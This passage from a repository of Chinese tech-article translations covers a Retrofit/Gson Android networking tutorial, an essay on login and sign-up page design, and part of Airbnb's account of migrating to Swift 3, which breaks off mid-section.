40959732, "question_id": 35931342 }, { "owner": { "reputation": 629, "user_id": 3054722, "user_type": "registered", "profile_image": "https://www.gravatar.com/avatar/0cf65651ae9a3ba2858ef0d0a7dbf900?s=128&d=identicon&r=PG&f=1", "display_name": "jeremy-denis", "link": "http://stackoverflow.com/users/3054722/jeremy-denis" }, "is_accepted": false, "score": 0, "last_activity_date": 1480862260, "creation_date": 1480862260, "answer_id": 40959731, "question_id": 40959661 }, ... ], "has_more": true, "backoff": 10, "quota_max": 300, "quota_remaining": 241 } ``` 从你的浏览器或者 Postman 复制 JSON 响应结果。 ### 将 JSON 数据映射到 Java 对象 现在访问 [jsonschema2pojo](http://www.jsonschema2pojo.org/),然后粘贴 JSON 响应结果到输入框。 选择 Source Type 为 **JSON**,Annotation Style 为 **Gson**,然后取消勾选 **Allow additional properties**。 ![](https://cms-assets.tutsplus.com/uploads/users/1499/posts/27792/image/u99.jpg) 然后点击 **Preview** 按钮来生成 Java 对象。 ![](https://cms-assets.tutsplus.com/uploads/users/769/posts/27792/image/kpo09.jpg) 你可能想知道在生成的代码里面, `@SerializedName` 和 `@Expose` 是干什么的。别着急,我会一一解释的。 Gson 使用 `@SerializedName` 注解来将 JSON 的 key 映射到我们类的变量。为了与 Java 对类成员属性的驼峰命名方法保持一致,不建议在变量中使用下划线将单词分开。`@SerializeName` 就是两者的翻译官。 @SerializedName("quota_remaining") @Expose private Integer quotaRemaining; 在上面的示例中,我们告诉 Gson 我们的 JSON 的 key `quota_remaining` 应该被映射到 Java 变量 `quotaRemaining`上。如果两个值是一样的,即如果我们的 JSON 的 key 和 Java 变量一样是 `quotaRemaining`,那么就没有必要为变量设置 `@SerializedName` 注解,Gson 会自己搞定。 `@Expose` 注解表明在 JSON 序列化或反序列化的时候,该成员应该暴露给 Gson。 ### 将数据模型导入 Android Studio 现在让我们回到 Android Studio。新建一个 **data** 的子包,在 data 里面再新建一个 **model** 的包。在 model 包里面,新建一个 Owner 的 Java 类。 然后将 jsonschema2pojo 生成的 `Owner` 类复制粘贴到刚才新建的 `Owner` 类文件里面。 import com.google.gson.annotations.Expose; import com.google.gson.annotations.SerializedName; public class Owner { @SerializedName("reputation") @Expose private Integer reputation; @SerializedName("user_id") @Expose private Integer userId; @SerializedName("user_type") @Expose private String userType; @SerializedName("profile_image") @Expose private String profileImage; @SerializedName("display_name") @Expose private String displayName; @SerializedName("link") @Expose private String link; @SerializedName("accept_rate") @Expose private Integer acceptRate; public Integer getReputation() { return reputation; } public void setReputation(Integer reputation) { this.reputation = reputation; } public Integer getUserId() { return userId; } public void setUserId(Integer userId) { this.userId = userId; } public String getUserType() { return userType; } public void setUserType(String userType) { this.userType = userType; } public String getProfileImage() { return profileImage; } public void setProfileImage(String profileImage) { this.profileImage = profileImage; } public String getDisplayName() { return displayName; } public void setDisplayName(String displayName) { this.displayName = displayName; } public String getLink() { return link; } public void setLink(String link) { this.link = link; } public Integer getAcceptRate() { return acceptRate; } public void setAcceptRate(Integer acceptRate) { this.acceptRate = acceptRate; } } 利用同样的方法从 jsonschema2pojo 复制过来,新建一个 `Item` 类。 import com.google.gson.annotations.Expose; import com.google.gson.annotations.SerializedName; public class Item { @SerializedName("owner") @Expose private Owner owner; @SerializedName("is_accepted") @Expose private Boolean isAccepted; @SerializedName("score") @Expose private Integer score; @SerializedName("last_activity_date") @Expose private Integer lastActivityDate; @SerializedName("creation_date") @Expose private Integer creationDate; @SerializedName("answer_id") @Expose private Integer answerId; @SerializedName("question_id") @Expose private Integer questionId; @SerializedName("last_edit_date") @Expose private Integer lastEditDate; public Owner getOwner() { return owner; } public void setOwner(Owner owner) { this.owner = owner; } public Boolean getIsAccepted() { return isAccepted; } public void setIsAccepted(Boolean isAccepted) { this.isAccepted = isAccepted; } public Integer getScore() { return score; } public void setScore(Integer score) { this.score = score; } public Integer getLastActivityDate() { return lastActivityDate; } public void setLastActivityDate(Integer lastActivityDate) { this.lastActivityDate = lastActivityDate; } public Integer getCreationDate() { return creationDate; } public void setCreationDate(Integer creationDate) { this.creationDate = creationDate; } public Integer getAnswerId() { return answerId; } public void setAnswerId(Integer answerId) { this.answerId = answerId; } public Integer getQuestionId() { return questionId; } public void setQuestionId(Integer questionId) { this.questionId = questionId; } public Integer getLastEditDate() { return lastEditDate; } public void setLastEditDate(Integer lastEditDate) { this.lastEditDate = lastEditDate; } } 最后,为返回的 StackOverflow 回答新建一个 `SOAnswersResponse` 类。注意在 jsonschema2pojo 里面类名是 `Example`,别忘记把类名改成 `SOAnswersResponse`。 import com.google.gson.annotations.Expose; import com.google.gson.annotations.SerializedName; import java.util.List; public class SOAnswersResponse { @SerializedName("items") @Expose private List items = null; @SerializedName("has_more") @Expose private Boolean hasMore; @SerializedName("backoff") @Expose private Integer backoff; @SerializedName("quota_max") @Expose private Integer quotaMax; @SerializedName("quota_remaining") @Expose private Integer quotaRemaining; public List getItems() { return items; } public void setItems(List items) { this.items = items; } public Boolean getHasMore() { return hasMore; } public void setHasMore(Boolean hasMore) { this.hasMore = hasMore; } public Integer getBackoff() { return backoff; } public void setBackoff(Integer backoff) { this.backoff = backoff; } public Integer getQuotaMax() { return quotaMax; } public void setQuotaMax(Integer quotaMax) { this.quotaMax = quotaMax; } public Integer getQuotaRemaining() { return quotaRemaining; } public void setQuotaRemaining(Integer quotaRemaining) { this.quotaRemaining = quotaRemaining; } } ## 5. 创建 Retrofit 实例 为了使用 Retrofit 向 REST API 发送一个网络请求,我们需要用 [`Retrofit.Builder`](http://square.github.io/retrofit/2.x/retrofit/retrofit2/Retrofit.Builder.html) 类来创建一个实例,并且配置一个 base URL。 在 `data` 包里面新建一个 `remote` 的包,然后在 `remote` 包里面新建一个 `RetrofitClient` 类。这个类会创建一个 Retrofit 的单例。Retrofit 需要一个 base URL 来创建实例。所以我们在调用 `RetrofitClient.getClient(String baseUrl)` 时会传入一个 URL 参数。参见 13 行,这个 URL 用于构建 Retrofit 的实例。参见 14 行,我们也需要指明一个我们需要的 JSON converter(Gson)。 import retrofit2.Retrofit; import retrofit2.converter.gson.GsonConverterFactory; public class RetrofitClient { private static Retrofit retrofit = null; public static Retrofit getClient(String baseUrl) { if (retrofit==null) { retrofit = new Retrofit.Builder() .baseUrl(baseUrl) .addConverterFactory(GsonConverterFactory.create()) .build(); } return retrofit; } } ## 6.创建 API 接口 在 remote 包里面,创建一个 `SOService` 接口,这个接口包含了我们将会用到用于执行网络请求的方法,比如 `GET`, `POST`, `PUT`, `PATCH`, 以及 `DELETE`。在该教程里面,我们将执行一个 `GET` 请求。 import com.chikeandroid.retrofittutorial.data.model.SOAnswersResponse; import java.util.List; import retrofit2.Call; import retrofit2.http.GET; public interface SOService { @GET("/answers?order=desc&sort=activity&site=stackoverflow") Call> getAnswers(); @GET("/answers?order=desc&sort=activity&site=stackoverflow") Call> getAnswers(@Query("tagged") String tags); } `GET` 注解明确的定义了当该方法调用的时候会执行一个 `GET` 请求。接口里每一个方法都必须有一个 HTTP 注解,用于提供请求方法和相对的 `URL`。Retrofit 内置了 5 种注解:`@GET`, `@POST`, `@PUT`, `@DELETE`, 和 `@HEAD`。 在第二个方法定义中,我们添加一个 query 参数用于从服务端过滤数据。Retrofit 提供了 `@Query("key")` 注解,这样就不用在地址里面直接写了。key 的值代表了 URL 里参数的名字。Retrofit 会把他们添加到 URL 里面。比如说,如果我们把 `android` 作为参数传递给 `getAnswers(String tags)` 方法,完整的 URL 将会是: https://api.stackexchange.com/2.2/answers?order=desc&sort=activity&site=stackoverflow&tagged=android 接口方法的参数有以下注解: |||| |---|---|---| |@Path|替换 API 地址中的变量| |@Query|通过注解的名字指明 query 参数的名字| |@Body|POST 请求的请求体| |@Header|通过注解的参数值指明 header| ## 7.创建 API 工具类 现在我们要新建一个工具类。我们命名为 `ApiUtils`。该类设置了一个 base URL 常量,并且通过静态方法 `getSOService()` 为应用提供 `SOService` 接口。 public class ApiUtils { public static final String BASE_URL = "https://api.stackexchange.com/2.2/"; public static SOService getSOService() { return RetrofitClient.getClient(BASE_URL).create(SOService.class); } } ## 8.显示到 RecyclerView 既然结果要显示到 [RecyclerView](https://code.tutsplus.com/tutorials/getting-started-with-recyclerview-and-cardview-on-android--cms-23465) 上面,我们需要一个 adpter。以下是 `AnswersAdapter` 类的代码片段。 public class AnswersAdapter extends RecyclerView.Adapter { private List mItems; private Context mContext; private PostItemListener mItemListener; public class ViewHolder extends RecyclerView.ViewHolder implements View.OnClickListener{ public TextView titleTv; PostItemListener mItemListener; public ViewHolder(View itemView, PostItemListener postItemListener) { super(itemView); titleTv = (TextView) itemView.findViewById(android.R.id.text1); this.mItemListener = postItemListener; itemView.setOnClickListener(this); } @Override public void onClick(View view) { Item item = getItem(getAdapterPosition()); this.mItemListener.onPostClick(item.getAnswerId()); notifyDataSetChanged(); } } public AnswersAdapter(Context context, List posts, PostItemListener itemListener) { mItems = posts; mContext = context; mItemListener = itemListener; } @Override public AnswersAdapter.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) { Context context = parent.getContext(); LayoutInflater inflater = LayoutInflater.from(context); View postView = inflater.inflate(android.R.layout.simple_list_item_1, parent, false); ViewHolder viewHolder = new ViewHolder(postView, this.mItemListener); return viewHolder; } @Override public void onBindViewHolder(AnswersAdapter.ViewHolder holder, int position) { Item item = mItems.get(position); TextView textView = holder.titleTv; textView.setText(item.getOwner().getDisplayName()); } @Override public int getItemCount() { return mItems.size(); } public void updateAnswers(List items) { mItems = items; notifyDataSetChanged(); } private Item getItem(int adapterPosition) { return mItems.get(adapterPosition); } public interface PostItemListener { void onPostClick(long id); } } ## 9.执行请求 在 `MainActivity` 的 `onCreate()` 方法内部,我们初始化 `SOService` 的实例(参见第 9 行),RecyclerView 以及 adapter。最后我们调用 `loadAnswers()` 方法。 private AnswersAdapter mAdapter; private RecyclerView mRecyclerView; private SOService mService; @Override protected void onCreate (Bundle savedInstanceState) { super.onCreate( savedInstanceState ); setContentView(R.layout.activity_main ); mService = ApiUtils.getSOService(); mRecyclerView = (RecyclerView) findViewById(R.id.rv_answers); mAdapter = new AnswersAdapter(this, new ArrayList(0), new AnswersAdapter.PostItemListener() { @Override public void onPostClick(long id) { Toast.makeText(MainActivity.this, "Post id is" + id, Toast.LENGTH_SHORT).show(); } }); RecyclerView.LayoutManager layoutManager = new LinearLayoutManager(this); mRecyclerView.setLayoutManager(layoutManager); mRecyclerView.setAdapter(mAdapter); mRecyclerView.setHasFixedSize(true); RecyclerView.ItemDecoration itemDecoration = new DividerItemDecoration(this, DividerItemDecoration.VERTICAL_LIST); mRecyclerView.addItemDecoration(itemDecoration); loadAnswers(); } `loadAnswers()` 方法通过调用 `enqueue()` 方法来进行网络请求。当响应结果返回的时候,Retrofit 会帮我们把 JSON 数据解析成一个包含 Java 对象的 list(这是通过 `GsonConverter` 实现的)。 public void loadAnswers() { mService.getAnswers().enqueue(new Callback() { @Override public void onResponse(Call call, Response response) { if(response.isSuccessful()) { mAdapter.updateAnswers(response.body().getItems()); Log.d("MainActivity", "posts loaded from API"); }else { int statusCode = response.code(); // handle request errors depending on status code } } @Override public void onFailure(Call call, Throwable t) { showErrorMessage(); Log.d("MainActivity", "error loading from API"); } }); } ## 10. 理解 `enqueue()` `enqueue()` 会发送一个异步请求,当响应结果返回的时候通过回调通知应用。因为是异步请求,所以 Retrofit 将在后台线程处理,这样就不会让 UI 主线程堵塞或者受到影响。 要使用 `enqueue()`,你必须实现这两个回调方法: - `onResponse()` - `onFailure()` 只有在请求有响应结果的时候才会调用其中一个方法。 - `onResponse()`:接收到 HTTP 响应时调用。该方法会在响应结果能够被正确地处理的时候调用,即使服务器返回了一个错误信息。所以如果你收到了一个 404 或者 500 的状态码,这个方法还是会调用。为了拿到状态码以便后续的处理,你可以使用 `response.code()` 方法。你也可以使用 `isSuccessful()` 来确定返回的状态码是否在 200-300 范围内,该范围的状态码也表示响应成功。 - `onFailure()`:在与服务器通信的时候发生网络异常或者在处理请求或响应的时候发生异常的时候调用。 要执行同步请求,你可以使用 `execute()` 方法。要注意同步请求在主线程会阻塞用户的任何操作。所以不要在主线程执行同步请求,要在后台线程执行。 ## 11.测试应用 现在你可以运行应用了。 ![Sample results from StackOverflow](https://cms-assets.tutsplus.com/uploads/users/1499/posts/27792/image/gt5.JPG) ## 12. 结合 RxJava 如果你是 RxJava 的粉丝,你可以通过 RxJava 很简单的实现 Retrofit。RxJava 在 Retrofit 1 中是默认整合的,但是在 Retrofit 2 中需要额外添加依赖。Retrofit 附带了一个默认的 adapter 用于执行 `Call` 实例,所以你可以通过 RxJava 的 `CallAdapter` 来改变 Retrofit 的执行流程。 ### **第一步** 添加依赖。 compile 'io.reactivex:rxjava:1.1.6' compile 'io.reactivex:rxandroid:1.2.1' compile 'com.squareup.retrofit2:adapter-rxjava:2.1.0' ### **第二步** 在创建新的 Retrofit 实例的时候添加一个新的 CallAdapter `RxJavaCallAdapterFactory.create()`。 public static Retrofit getClient(String baseUrl) { if (retrofit==null) { retrofit = new Retrofit.Builder() .baseUrl(baseUrl) .addCallAdapterFactory(RxJavaCallAdapterFactory.create()) .addConverterFactory(GsonConverterFactory.create()) .build(); } return retrofit; } ### **第三步** 当我们执行请求时,我们的匿名 subscriber 会响应 observable 发射的事件流,在本例中,就是 `SOAnswersResponse`。当 subscriber 收到任何发射事件的时候,就会调用 `onNext()` 方法,然后传递到我们的 adapter。 @Override public void loadAnswers() { mService.getAnswers().subscribeOn(Schedulers.io()).observeOn(AndroidSchedulers.mainThread()) .subscribe(new Subscriber() { @Override public void onCompleted() { } @Override public void onError(Throwable e) { } @Override public void onNext(SOAnswersResponse soAnswersResponse) { mAdapter.updateAnswers(soAnswersResponse.getItems()); } }); } 查看 Ashraff Hathibelagal 的 [Getting Started With ReactiveX on Android](https://code.tutsplus.com/tutorials/getting-started-with-reactivex-on-android--cms-24387) 以了解更多关于 RxJava 和 RxAndroid 的内容。 ## 总结 在该教程里,你已经了解了使用 Retrofit 的理由以及方法。我也解释了如何将 RxJava 结合 Retrofit 使用。在我的下一篇文章中,我将为你展示如何执行 `POST`, `PUT`, 和 `DELETE` 请求,如何发送 `Form-Urlencoded` 数据,以及如何取消请求。 要了解更多关于 Retrofit 的内容,请参考 [官方文档](https://square.github.io/retrofit/2.x/retrofit/)。同时,请查看我们其他一些关于 Android 应用开发的课程和教程。 ================================================ FILE: TODO/getting-the-login-page-right.md ================================================ > * 原文地址:[Getting the login page right](https://blog.prototypr.io/getting-the-login-page-right-d1ce6015235e) > * 原文作者:[Boluwatife Ben-Adeola](https://blog.prototypr.io/@tife1379) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[LisaPeng](https://github.com/LisaPeng) > * 校对者:[changkun](https://github.com/changkun) [horizon13th](https://github.com/horizon13th) --- # 使登录页面变得正确 事先声明,这篇文章讨论的是目前登录页上已采用的设计,而不是讨论关于如何设计的新见解。常言道:「普天之下,莫非旧闻」,但如果我们连历史都不曾了解,又如何能知道它会去向何方呢?好啦,这个理由已经足以支撑我写下这篇文章了。 因此,一般结论是:创建登录/注册页的艺术(没错,它是一门艺术)不是随意的!或者至少不应该只是为了获得最佳结果。App 的整体体验是一个非常重要的因素,应该符合整个 App 的当前目标。 接下来,我将就决定登陆页的布局因素进行讨论。 --- #### 1 ) 访问的平台:网站还是 App ? 访问平台的影响基于一个相当显然的事实:大部分访问桌面端版本的用户是新用户。这些人希望在决定使用他们时间(和带宽)来下载本机 App 之前,先了解一下你是做什么的。App 是一种忠诚工具,这是一条经验法则:当人们欣赏你的服务,并希望享受 App 提供的所有优点,如即时通知和其他功能时,人们会下载它。也就是说,大多数访问 App 的用户都是老用户,而大多数访问网站都是新手,这个假设是有意义的。那么这个经验是如何告诉我们,当这两个群体访问各自的平台时,该怎么构建第一页呢?为了具有深刻的印象,我另起一个段落: **为本地 App 创造一个以登录为中心的页面,为桌面版本构建一个以注册为中心的页面!** 这样做的目的仅仅是为了分别迎合两种群体中的大多数人。 举几个在工作中运用这个规则的例子,以免你错过它。 ![](https://cdn-images-1.medium.com/max/800/1*nn_BIbwZADDqOlArc2CLng.jpeg) 红色框是用于登录的空间,紫色是用于注册的空间。 正如你能够从图片中看到的那样,就在每个页面上各自分配的空间方面,相对于登录来说,页面对注册有明显的偏好。 ![](https://cdn-images-1.medium.com/max/800/1*8K4YHt_wyGNABzjefVF5Rw.jpeg) 与以上的图像相同,相同的颜色约定在这里被运用。 在相同网络下,移动 App 的情况却是恰恰相反的! --- #### 2 ) 网络规模 有一种情况,通常在网站中,你会有两组访问者,包括老用户和新用户,他们平等地聚集到相同目的地。但是,你应该不会同时拥有两个群体相同程度的涌入。这意味着当你刚刚推出你的服务时,你肯定会(希望)拥有很多新用户,而不是那些现有的用户( beta 测试人员和开发团队)。那么,你认为谁才会让你的准备更有意义呢?当然是新用户,那么怎么办?下面是另一个教学时间,且听我慢慢道来: **在你的平台的早期阶段,应该创建一个以注册为中心的页面!** 很明显,很多设计师(大部分是开发人员)只是提供了用于登陆页面的常见模板,即登录页面。但问题是,为什么你看到这个给你灵感,决定你的 App 也应该如此的 App 界面的唯一原因,是因为该 App 已经有一个成熟的社交网络!这就是为什么你首先就想要使用它!所以当我们喜欢的网络刚刚成长和需要数字时,我们大多数时候看不到它们,就像我们现在一样。所以你不是从错误的人那里得到建议,只是在错误的时间运用它。也许如果我们回到这些平台最初的样子,看看他们在你现在所处的位置,那么你会有想法去做什么。 你真幸运,我碰巧拥有一个哆啦A梦(对于那些不幸的没有看过这部电影的人,我正在谈论一台时间机器),并会帮助你及时回到那些最好的网络最初的样子。 ![](https://cdn-images-1.medium.com/max/800/1*R9ObciULy-F55BSWXQibcA.jpeg) 1 — 2008, 2 — 2009, 3 — 2012. 是的,它就是 Twitter . 1–2008 — 这是他们第一次的登陆页面,刚刚推出了新的想法,登录形式几乎没有装饰和边框(字面上)。但是,通过一个鲜艳的召唤点击的按钮告诉你注册,另一个红色 CTA 按钮告诉您观看演示视频,你会看到它们正聚焦在告诉你新平台是做什么的,不是太注重登录,是因为他们知道现在的焦点是吸引他们的第一批成员。对于少数已经加入的人呢?他们可以弄清楚登录表单的位置。 2–2009 — 好的,他们得到了一些关注和可观的成员数量,几乎立即(推出一年后)为现有用户进行了更多的考虑,现在已经有合理的数量来关注 UI 功能了。但是注册按钮仍然在中间至高无上的位置,在充满活力的柠檬绿色中。 3–2012 — 从按钮开始,我们在这里!所以他们现在有稳定的新来者和更多的现有用户。这在登陆页面上如何反映?通过对新老用户给予同等的关注。为什么?因为新用户必须始终照顾,而现在的用户群体太多,以至于无法忽视和不能悉心照顾,这样可以确保所有用户都能继续使用并爱上这个平台! 所以你会发现一个问题可能会发生,当一个设计师四处寻找新网络登录页的好概念时,当他发现了 Twitter 并对自己说:“天才!把登录和注册页面放在一起!让我们也这样做把“。但是,呃...不行!由于你不能细致的了解 Twitter 用户的新旧用户比例,因此你不能采用他们的方法。在这个故事得到教训了吗?好吧,又到教学时间了!所以通常的方法是: **观察学习对比过去和当前的设计,有时会更加明智。** #### 3) 特殊情况 当然,总是有那些不符合你发现的模式的人,让你看起来像是破解了所有 UI/UX 的代码。不,他们必须冲在前面,打破规则,做自己的事情。这些包括像 Facebook 这样的登录页面,尽管用户数量庞大,但仍然倾向于新的注册用户。就像我们自己的 Medium ,由于处于用户群体增长的早期阶段,甚至他们的本地 App 都是以注册为中心。但是我们可以理解他们的方法思想。所以我猜这是符合用户基数大小的规则 (#2). ![](https://cdn-images-1.medium.com/max/800/1*pWuQJ8ix9kVgENNHt3VKqw.png) 好的,那么最后的消息是,不要像不值得思考的登记页面一样对待登录/注册页面,因为**每个设计决策,无论多么平凡,都值得你去深思熟虑**。最后的话...与团队的其他成员交谈,听整个产品的策略,看看你的设计决策如何帮助他们从一开始实现所有这一切,从我们的第一个但通常被忽视的朋友开始 - 登录页面。或注册页面,作为戏剧性的结尾,我必须只使用它们中的一个。 :-) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/getting-to-swift-3-at-airbnb.md ================================================ > * 原文地址:[Getting to Swift 3](https://medium.com/airbnb-engineering/getting-to-swift-3-at-airbnb-79a257d2b656#.b0f62n181) * 原文作者:[Chengyin Liu](https://twitter.com/chengyinliu), [Paul Kompfner](https://github.com/kompfner), [Michael Bachand](https://twitter.com/michaelbachand) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Deepmissea](http://deepmissea.blue) * 校对者:[Karthus1110](https://github.com/Karthus1110),[lovelyCiTY](https://github.com/lovelyCiTY) # 步入 Swift 3 从 Swift 出现开始,Airbnb 就开始使用它。我们从这门现代、安全、社区驱动的语言看到了很多好处。 直到最近,我们大部分的代码还是基于 Swift 2 的。我们刚刚完成了 Swift 3 的迁移,正好赶上 Xcode 新版发布,就舍弃了对 Swift 2 的支持。 我们想在社区分享我们的迁移方式,Swift 3 对我们应用的影响,以及我们在此过程中获得的一些技术经验。 ### “可持续发展”的方法 ### 我们有几十个模块和几个三方库都是用 Swift 编写的,包括了几千个文件和几十万代码。就好像这个代码量还不足够具有挑战性一样,Swift 2 和 Swift 3 模块之间无法互相导入的事实,更加剧了迁移过程的复杂度。由于 Swift ABI 在版本 2 和 3 之间的改变,即使是正确的 Swift 3 代码引入 Swift 2 的库也不能编译。这个不兼容性,导致了代码并行优化变得异常困难。 为了确保我们能渐进地转换并校验代码,我们建立了一个依赖图,为我们 36 个 Swift 模块进行了拓扑排序。我们的升级计划如下: 1. 升级 CocoaPods 到 1.1.0(用来支持必要的 pod 升级) 2. 升级第三方的 pods 到 Swift 3 版本 3. 按照拓扑顺序,转换我们自己的模块 在与已经完成迁移的公司的交流中,我们了解到冻结开发是一个常见策略。如果可能的话,我们希望尽量避免代码冻结,即使这意味着增加迁移的难度。由于转换工作无法简单的并行化,全员出动(all-hands-on-deck)的方法是低效的。而且,由于无法估计转换要花多长时间,所以我们想确保在迁移的过程中,继续的发布新版本。 我们有三个人来做迁移工作。两个人专注于代码的转换,然后第三个人来协调团队沟通和基准的检测。 包括准备工作,我们项目的时间线看起来是这样的: - 1 周:调研和准备(一个人) - 2.5 周:转换(两个人),并分析转换的效率,与大团队沟通(一个人) - 2 周:QA 和修复 bug(QA 团队 + 各个功能的作者) ### Swift 3 的影响 ### 在我们对 Swift 3 新语言特性的感到兴奋时,我们也想知道这次更新会对最终用户,以及整体的开发体验有怎样的影响。我们密切关注着 Swift 3 对发布的 IPA 大小和调试时的编译时间的影响,因为至今为止,这些是 Swift 项目的两个最大痛点。不幸的是,在尝试了不同的优化设置测试以后,Swift 3 在这两点上的指标还是略差。 #### 发布 IPA 的体积 #### 在迁移到 Swift 3 以后,我们发现 IPA 增加了 2.2MB。经过一些分析发现,这几乎都是由于 Swift 本身的库体积增加(我们自己的二进制文件大小几乎没有改变)。这里有一些未压缩二进制体积增加的例子: - libswiftFoundation.dylib: up 233.40% (3.8 MB) - libswiftCore.dylib: up 11.76% (1.5 MB) - libswiftDispatch.dylib: up 344.61% (0.8 MB) 由于 Swift 3 库的增益,比如 Foundation,这种增加也是可以理解的。尽管,我们更期待的是 Swift ABI 稳定时,程序的体积不会再因为这些增益而增加。 #### 调试的构建时间 #### 我们迁移之后,程序的构建时间比之前慢了 4.6%,以前 6 分钟,增加了 16 秒。 我们试着比较在 Swift 2 和 Swift 3 之间每个函数的编译时间,但是我们无法得出具体结论,因为函数在不同的文件都不相同。我们确实发现了一个函数,由于迁移,编译时间暴增 12 秒。幸运的是,我们能慢慢把它还原下来,但这也说明了检查转换代码类似异常的重要性。[Build Time Analyzer for Xcode](https://github.com/RobertGummesson/BuildTimeAnalyzer-for-Xcode) 这个工具很有帮助,或者你只需要[设置适当的编译标识,并解析他们,生成日志](http://irace.me/swift-profiling)。 #### Runtime 问题 #### 不幸地,代码在 Swift 3 下成功编译并不意味着完成了迁移的工作。Xcode 的代码转换工具不能保证运行时的行为像编译时正常。此外,这是我们一会儿要讨论的,代码转换还是需要一些体力活,而且还有一些陷阱。这些不幸的事情,意味着代码回归。由于单元测试覆盖率没有给我们足够的信心,我们不得不耗费额外的 QA 周期在新迁移的应用上。 新迁移的应用通过首次 QA 时有很多明显的问题。通过应用本文后面讨论的几种技术,大部分的问题都被三人小队快速地解决了(在几个小时内)。经过初步的消除容易的问题,高可见度的回归分析,我们的 iOS 团队在大型项目里留下了 15 个潜在回归,其中 3 个崩溃,这是我们在发布下一版本应用前需要解决的。 ### 代码转换过程 ### 我们从 `master` 新建一个 `swift-3` 的分支开始。和刚才提到的一样,我们模块化的处理了代码转换模块,从叶子模块开始,依据依赖树展开工作。只要可能,我们就并行的转换不同的模块。如果不能,我们就在一起说一声我们正在做的,以避免冲突。 对于每个模块,过程大概是这样的: 1. 从 `swift-3` 创建一个新的分支 2. 在模块上运行 Xcode 代码转换工具 3. 提交并推送更改 4. 构建 5. 手动修复一些构建错误 6. 提交并且推送更改 7. 再构建 8. 重复前面 3 步,直到完成 在手动地更新代码时,我们坚持的哲学是“做最表面的代码转换”。这意味着我们的目的不是在转换期间提高代码的安全性。这么做的原因有两个。第一,由于团队正在 Swift 2 积极开发,这是一场与时间的赛跑。第二,我们希望代码的回归风险降到最小。 幸运地是,我们在进行这个项目的时间是比较宽裕的,因为恰好是假期。这意味着我们可以安全的度过几天,即使不急着把 `swift-3` 重组(rebase)到 `master` 分支上,也不会落后太多。在我们要重组的时候,使用 `git rebase -Xours master` 来保持尽量多的 `swift-3` 代码,而默认用 `master` 上的代码解决冲突。 一旦 `master` 的进度被 `swift-3` 赶上,我们就知道在合并它之前,大概只有一天的时间来解决这些问题。鉴于我们 iOS 团队的规模,而且 `master` 是一个动态的目标。所以,为了完成 Swift 3 的迁移工作,我们强烈的鼓励整个团队(除了做代码迁移的)做到真真正正的周六歇一天 😄。 ### 值得一提的问题 ### #### Objective-C 中的闭包参数 #### 我们最常见的问题之一,就是 Xcode 没有自动建议修复 Objective-C 和 Swift 之间的闭包参数。看一下这个函数在一个 Objective-C 头文件的声明: ![Markdown](http://i1.piimg.com/1949/300646b3b962e346.png) 很多东西都变了,但是最重要的是 `completionBlock` 里面的参数从隐式拆包类型变成了可选类型,这会破坏这个参数在闭包中的使用。 我们决定最“表面”的转化到 Swift 3(不和 Objective-C代码接触),我们想要在闭包的顶部声明一个变量,它有和参数相同的名字,不过它是隐式拆包的: ![Markdown](http://i1.piimg.com/1949/bbdc00bdcba906bb.png) 这么做,而不是在使用参数的时候再拆包,是因为这样做几乎不会破坏闭包内部其他地方的语义。在上面的例子里,接下来的语句像 `if let someReview = review { /* … */ } ` 和 `review ?? anotherReview` 都会正常的工作。 #### 隐式拆包里的类型推演问题 #### 另一个常见(以及相关)的问题是,处理 Swift 3 所推演出变量的类型,原来是隐式拆包的,现在变为可选类型了。考虑下面的例子: ``` func doSomething() -> Int! { return 5 } var result = doSomething() ``` 在 Swift 2.3 里,`result` 的类型被推断为 `Int!`。而在 Swift 3,它的类型是 `Int?` 鉴于上面提到的闭包参数问题,最直接的解决方案就是把你的变量声明为一个隐式拆包类型: ``` var result: Int! = doSomething() ``` 因为桥接的 Objective-C 的初始化方法返回隐式拆包类型,导致这个特殊问题出现的比预期要频繁。 #### 个别的函数编译时间爆炸 #### 在我们代码迁移的工作中,偶尔地,编译器会停顿那么几分钟。 我们项目中的一些函数,需要很多复杂的类型推演。在正常情况下,编译的时间只有一丢丢,但是如果他们包含了编译错误,那编辑器就会一脸懵逼。 在构建过程被这个问题卡住的时候,我们使用 [Xcode 构建时间分析](https://github.com/RobertGummesson/BuildTimeAnalyzer-for-Xcode)工具来帮助我们发现瓶颈所在。接着我们就能专注于这个功能上,暂别我们快乐的转化代码、构建、再转换代码的快乐周期了。 #### 可选协议方法上的 “Near misses” #### 在转换 Swift 3 的过程中,可选协议方法是很容易忽略的一部分。 考虑 `UICollectionViewDataSource` 上的这个方法: ``` func collectionView( _ collectionView: UICollectionView, viewForSupplementaryElementOfKind kind: String, at indexPath: IndexPath) -> UICollectionReusableView ``` 假设你的类实现了 `UICollectionViewDataSource`,并且定义了下面这个方法: ``` func collectionView( collectionView: UICollectionView, viewForSupplementaryElementOfKind kind: String, atIndexPath indexPath: IndexPath) -> UICollectionReusableView ``` 你能指出不同吗?很难说。但是他们就是不同的,而且你的类编译的时候正常,因为它是一个可选的函数,没有更新描述的签名。 幸运地,有时候编译警告会帮你发现这些,但不是全部。所以去检查每个协议的可选方法(比如 UIKit 里的代理协议和数据源协议)是否正确是很重要的。搜索像 “`func collectionView(collectionView:`” 这样的文本(注意第一个参数,这是 Swift 2 遗留的标识),可以帮助找到代码里的元凶。 #### 具有默认实现的协议 #### 通过协议扩展,协议本身可以有默认的实现。如果一个协议的方法签名在 Swift 2 到 Swift 3 之间改变了,那确认他们是否在任何地方都改变了就很重要。如果*协议的扩展实现*,或者是*你的类型的实现*是正确的,编译器都会很开心的编译,但是成功的编译并不能保证*两个*实现都是正确的。 #### String 类型的枚举 #### 在 Swift 3 中,枚举的命名被规定为`小驼峰`。Xcode 转换工具自动的对任何现有的枚举进行更改。尽管它会略过值类型为 `String` 的枚举。这么做是有理由的,因为有可能在用 `String` 